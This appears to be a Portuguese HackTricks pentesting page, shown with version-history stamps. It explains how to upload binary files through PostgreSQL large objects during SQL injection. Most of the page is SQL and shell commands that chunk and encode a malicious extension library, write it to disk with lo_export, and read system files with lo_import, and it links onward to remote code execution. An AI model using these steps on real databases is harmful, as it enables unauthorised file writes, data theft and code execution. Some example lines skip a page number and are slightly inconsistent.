hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

84 lines
5.4 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Objetos Grandes do PostgreSQL
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
O PostgreSQL expõe uma estrutura chamada de **objeto grande** (**tabela pg_largeobject**), que é usada para armazenar dados que seriam difíceis de manipular em sua totalidade (como uma imagem ou um documento PDF). Ao contrário da função `COPY TO`, a vantagem dos **objetos grandes** reside no fato de que os **dados** que eles **armazenam** podem ser **exportados de volta** para o **sistema de arquivos** como uma **cópia idêntica do arquivo original importado**.
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Para **salvar um arquivo completo dentro desta tabela**, você primeiro precisa **criar um objeto** dentro da tabela mencionada (identificado por um **LOID**) e, em seguida, **inserir pedaços de 2KB** dentro deste objeto. É muito importante que todos os **pedaços tenham 2KB** (exceto possivelmente o último) **ou** a função de **exportação** para o sistema de arquivos **não funcionará**.
2023-06-06 18:56:34 +00:00
Para **dividir** seu **binário** em **pedaços** de tamanho **2KB**, você pode fazer:
```bash
split -b 2048 pg_exec.so #This will create files of size 2KB
```
2023-06-06 18:56:34 +00:00
Para codificar cada um dos arquivos criados em Base64 ou Hex, você pode usar:
```bash
base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
```
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Ao explorar isso, lembre-se de que você precisa enviar **pedaços de 2KB de bytes de texto claro** (não 2KB de bytes codificados em base64 ou hex). Se você tentar automatizar isso, o tamanho de um arquivo **codificado em hex** é o **dobro** (então você precisa enviar 4KB de dados codificados para cada pedaço) e o tamanho de um arquivo codificado em **base64** é `ceil(n / 3) * 4`.
{% endhint %}
2023-06-06 18:56:34 +00:00
Além disso, depurando o processo, você pode ver o conteúdo dos grandes objetos criados com:
```sql
2022-04-05 22:24:52 +00:00
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
2023-06-06 18:56:34 +00:00
# Usando lo\_creat & Base64
2023-06-06 18:56:34 +00:00
Primeiro, precisamos criar um LOID onde os dados binários serão salvos:
```sql
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
```
2023-06-06 18:56:34 +00:00
Se você estiver explorando uma **Injeção de SQL cega**, você estará mais interessado em usar `lo_create` com um **LOID fixo** para que você **saiba onde** deve **fazer o upload** do **conteúdo**.\
Além disso, observe que não há erro de sintaxe, as funções são `lo_creat` e `lo_create`.
2023-06-06 18:56:34 +00:00
LOID é usado para identificar o objeto na tabela `pg_largeobject`. A inserção de pedaços de tamanho 2KB na tabela `pg_largeobject` pode ser realizada usando:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
```
2023-06-06 18:56:34 +00:00
Finalmente, você pode exportar o arquivo para o sistema de arquivos fazendo (durante este exemplo, o LOID usado foi `173454`):
```sql
SELECT lo_export(173454, '/tmp/pg_exec.so');
```
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Observe que nas versões mais recentes do postgres você pode precisar **fazer upload das extensões sem indicar nenhum caminho**. [**Leia isso para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
2023-06-06 18:56:34 +00:00
Você possivelmente pode estar interessado em excluir o objeto grande criado após exportá-lo:
```sql
SELECT lo_unlink(173454); -- deletes large object with OID 173454
```
2023-06-06 18:56:34 +00:00
# Usando lo\_import & Hex
2023-06-06 18:56:34 +00:00
Neste cenário, lo\_import será usado para criar um objeto de grande tamanho. Felizmente, neste caso, você pode (e não pode) especificar o LOID que deseja usar:
```sql
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
```
2023-06-06 18:56:34 +00:00
Depois de criar o objeto, você pode começar a inserir os dados em cada página (lembre-se, você tem que inserir pedaços de 2KB):
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
```
2023-06-06 18:56:34 +00:00
O HEX deve ser apenas o hex (sem `0x` ou `\x`), exemplo:
```sql
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
```
2023-06-06 18:56:34 +00:00
Finalmente, exporte os dados para um arquivo e exclua o objeto grande:
```sql
2022-04-05 22:24:52 +00:00
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
```
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Observe que nas versões mais recentes do postgres você pode precisar **carregar as extensões sem indicar nenhum caminho**. [**Leia isso para mais informações**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
2023-06-06 18:56:34 +00:00
# Limitações
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Depois de ler a documentação de objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). É possível configurar **novos objetos grandes** para que seu usuário **não tenha privilégios suficientes** para lê-los, mesmo que tenham sido criados pelo seu usuário.
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
No entanto, pode haver **um objeto antigo com uma ACL que permite que o usuário atual o leia**, então podemos exfiltrar o conteúdo desse objeto.